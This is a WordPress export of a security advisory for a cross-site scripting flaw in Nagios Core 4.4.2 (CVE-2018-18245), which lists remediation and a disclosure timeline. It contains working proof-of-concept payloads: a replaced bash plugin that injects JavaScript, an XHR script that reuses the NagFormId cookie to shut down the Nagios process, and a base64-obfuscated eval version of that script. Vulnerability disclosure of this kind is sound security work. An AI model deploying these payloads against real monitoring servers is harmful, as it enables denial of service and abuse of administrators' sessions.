{"id":16573,"date":"2021-07-08T10:13:35","date_gmt":"2021-07-08T08:13:35","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/security-advisories\/usd-2018-0026\/"},"modified":"2021-07-19T14:09:11","modified_gmt":"2021-07-19T12:09:11","slug":"usd-2018-0026","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2018-0026\/","title":{"rendered":"usd-2018-0026"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<h1 class=\"h-custom-headline usd-small-letters h2\"><span>usd-2018-0026 | Nagios Core\/4.4.2<\/span><\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: usd-2018-0026<\/span><br \/><strong>CVE Number<\/strong><span>: CVE-2018-18245<\/span><br \/><strong>Affected Product<\/strong><span>: Nagios Core<\/span><br \/><strong>Affected Version<\/strong><span>: 4.4.2<\/span><br \/><strong>Vulnerability Type<\/strong><span>: Cross-Site Scripting (XSS)<\/span><br \/><strong>Security Risk<\/strong><span>: Medium<\/span><br \/><strong>Vendor URL<\/strong><span>: <\/span><a href=\"https:\/\/www.nagios.com\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.nagios.com<\/a><br \/><strong>Vendor Status<\/strong><span>: Not fixed<\/span><\/p>\n<h3><\/h3>\n<h3>Description<\/h3>\n<p>A cross-site scripting (XSS) vulnerability has been discovered in Nagios Core. This vulnerability allows attackers to place malicious JavaScript code into the web frontend through manipulation of plugin output. In order to do this the attacker needs to be able to manipulate the output returned by nagios checks, e.g. by replacing a plugin on one of the monitored endpoints. Execution of the payload then requires that an authenticated user creates an alert summary report which contains the corresponding output.<\/p>\n<p>Nagios Core is a platform for network and system monitoring. It provides a web application for administrators which displays the current status of the monitored entities. Nagios uses plugins executed by the central server and plugins executed on the monitored endpoints via the NRPE service. An attacker that controls one of those endpoints has the ability to either modify plugin output or to replace the plugins executed on those endpoints. Accordingly, attackers may be able to control what is displayed to authenticated users within the web application. Nagios takes care to properly encode plugin results in most places to prevent XSS attacks. However, in the case of alert summary reports the output is not encoded, enabling attacks against the web application and its users.<\/p>\n<p><span><\/span><\/p>\n<h3>Proof of Concept\u00a0<\/h3>\n<p><span>Simple PoC:<\/span><br \/><span>An attacker that controls one of systems monitored with NRPE replaces the check_load plugin by the following simple bash script:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]#!\/bin\/bash<br \/>\nVERSION=1.0<br \/>\nVERBOSE=0<br \/>\nPROGNAME=`\/usr\/bin\/basename $0`<br \/>\nPROGPATH=`echo $0 | \/bin\/sed -e 's,[\\\\\/][^\\\\\/][^\\\\\/]*$,,'`<br \/>\n. $PROGPATH\/utils.sh<br \/>\necho -n \"alert(document.cookie)\"<br \/>\nexitCode=1<br \/>\necho -n \"Testoutput\"<br \/>\nexit $exitCode<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p>As soon as the results of the modified check show up in the nagios web interface the payload should be in place. Note: The check status (exitCode) may need to be changed (to either 1 or 2) to make sure that an alert for the current status will show up in the summary page. When a user now views an alert summary report at \/nagios\/cgi-bin\/summary.cgi and creates a report that contains the manipulated check result the payload will be executed.<\/p>\n<p>Denial of Service PoC: Nagios Process Shutdown A more interesting attack would be able to shut down the Nagios process on the central server. To achieve this, the following JavaScript code will be used:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]function submitRequest()<br \/>\n{<br \/>\nvar xhr = new XMLHttpRequest();<br \/>\nxhr.open(\"POST\", \"http:\\\/\\\/10.10.10.10\\\/nagios\\\/cgi-bin\\\/cmd.cgi\", true);<br \/>\nxhr.setRequestHeader(\"Accept\", \"text\\\/html,application\\\/xhtml+xml,application\\\/xml;q=0.9,*\\\/*;q=0.8\");<br \/>\nxhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.5\");<br \/>\nxhr.setRequestHeader(\"Content-Type\", \"application\\\/x-www-form-urlencoded\");<br \/>\nxhr.withCredentials = true;<br \/>\nvar cvalue = document.cookie.substring(10);<br \/>\nvar body = \"nagFormId=\"+cvalue;<br \/>\nbody+=\"&amp;amp;cmd_typ=14&amp;amp;cmd_mod=2&amp;amp;btnSubmit=Commit\";<br \/>\nvar aBody = new Uint8Array(body.length);<br \/>\nfor (var i = 0; i &amp;lt; aBody.length; i++)<br \/>\naBody[i] = body.charCodeAt(i);<br \/>\nxhr.send(new Blob([aBody]));<br \/>\n}<br \/>\nsubmitRequest();<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n<p>The above script extracts the HTTP value of the NagFormId cookie and places it into the nagFormId form variable. It then automatically sends a POST request to \/nagios\/cgi-bin\/cmd.cgi with the cmd_typ=14 which causes the Nagios process to shut down. This functionality is available to users under the \u201eProcess Info\u201c navigation item. Note: The POST URL needs to point to the hostname or IP address of the actual Nagios server.<\/p>\n<p>To prevent issues with semicolons in the JavaScript payload the JavaScript code is encoded with base64, wrapped with an eval() call and placed into the malicious plugin. The full PoC plugin then looks like this:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]#!\/bin\/bash<br \/>\nVERSION=1.0<br \/>\nVERBOSE=0<br \/>\nPROGNAME=`\/usr\/bin\/basename $0`<br \/>\nPROGPATH=`echo $0 | \/bin\/sed -e 's,[\\\\\/][^\\\\\/][^\\\\\/]*$,,'`<br \/>\n. $PROGPATH\/utils.sh<br \/>\necho -n \"eval(atob('ICBmdW5jdGlvbiBzdWJtaXRSZXF1ZXN0KCkKICAgICAgewoJICAgICAgICAgIHZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKCSAgICAgICAgICB4aHIub3BlbigiUE9TVCIsICJodHRwOlwvXC8xMC4xMC4xMC4xMFwvbmFnaW9zXC9jZ2ktYmluXC9jbWQuY2dpIiwgdHJ1ZSk7CgkgICAgICAgICAgeGhyLnNldFJlcXVlc3RIZWFkZXIoIkFjY2VwdCIsICJ0ZXh0XC9odG1sLGFwcGxpY2F0aW9uXC94aHRtbCt4bWwsYXBwbGljYXRpb25cL3htbDtxPTAuOSwqXC8qO3E9MC44Iik7CgkgICAgICAgICAgeGhyLnNldFJlcXVlc3RIZWFkZXIoIkFjY2VwdC1MYW5ndWFnZSIsICJlbi1VUyxlbjtxPTAuNSIpOwoJICAgICAgICAgIHhoci5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb25cL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwoJICAgICAgICAgIHhoci53aXRoQ3JlZGVudGlhbHMgPSB0cnVlOwoJICAJdmFyIGN2YWx1ZSA9IGRvY3VtZW50LmNvb2tpZS5zdWJzdHJpbmcoMTApOwoJICAgICAgICAgIHZhciBib2R5ID0gIm5hZ0Zvcm1JZD0iK2N2YWx1ZTsKCSAgCWJvZHkrPSImY21kX3R5cD0xNCZjbWRfbW9kPTImYnRuU3VibWl0PUNvbW1pdCI7CgkgICAgICAgICAgdmFyIGFCb2R5ID0gbmV3IFVpbnQ4QXJyYXkoYm9keS5sZW5ndGgpOwoJICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgYUJvZHkubGVuZ3RoOyBpKyspCgkJICAgICAgICAgICAgYUJvZHlbaV0gPSBib2R5LmNoYXJDb2RlQXQoaSk7IAoJICAgICAgICAgIHhoci5zZW5kKG5ldyBCbG9iKFthQm9keV0pKTsKCSAgICAgICAgfQogICAgICBzdWJtaXRSZXF1ZXN0KCk7Cg=='))\"<br \/>\nexitCode=1<br \/>\necho -n \"Testoutput\"<br \/>\nexit $exitCode<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<p><span>Encode output received from nagios plugins.<\/span><br \/><span>https:\/\/www.owasp.org\/index.php\/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet<\/span><\/p>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>2018-09-11 first contact request via security@nagios.com<\/li>\n<li>2018-09-12 provided advisory via our secure transfer platform<\/li>\n<li>2018-10-12 received CVE ID and notified vendor about it<\/li>\n<li>2018-12-07 Security advisory released<\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Credits<\/h3>\n<p><span>This security vulnerabilities was found by Maximilian Boehner of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2018-0026 | Nagios Core\/4.4.2 Advisory ID: usd-2018-0026CVE Number: CVE-2018-18245Affected Product: Nagios CoreAffected Version: 4.4.2Vulnerability Type: Cross-Site Scripting (XSS)Security Risk: MediumVendor URL: https:\/\/www.nagios.comVendor Status: Not fixed Description A cross-site scripting (XSS) vulnerability has been discovered in Nagios Core. This vulnerability allows attackers to place malicious JavaScript code into the web frontend through manipulation of plugin output. [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16573","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16573","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16573"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16573\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16573"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}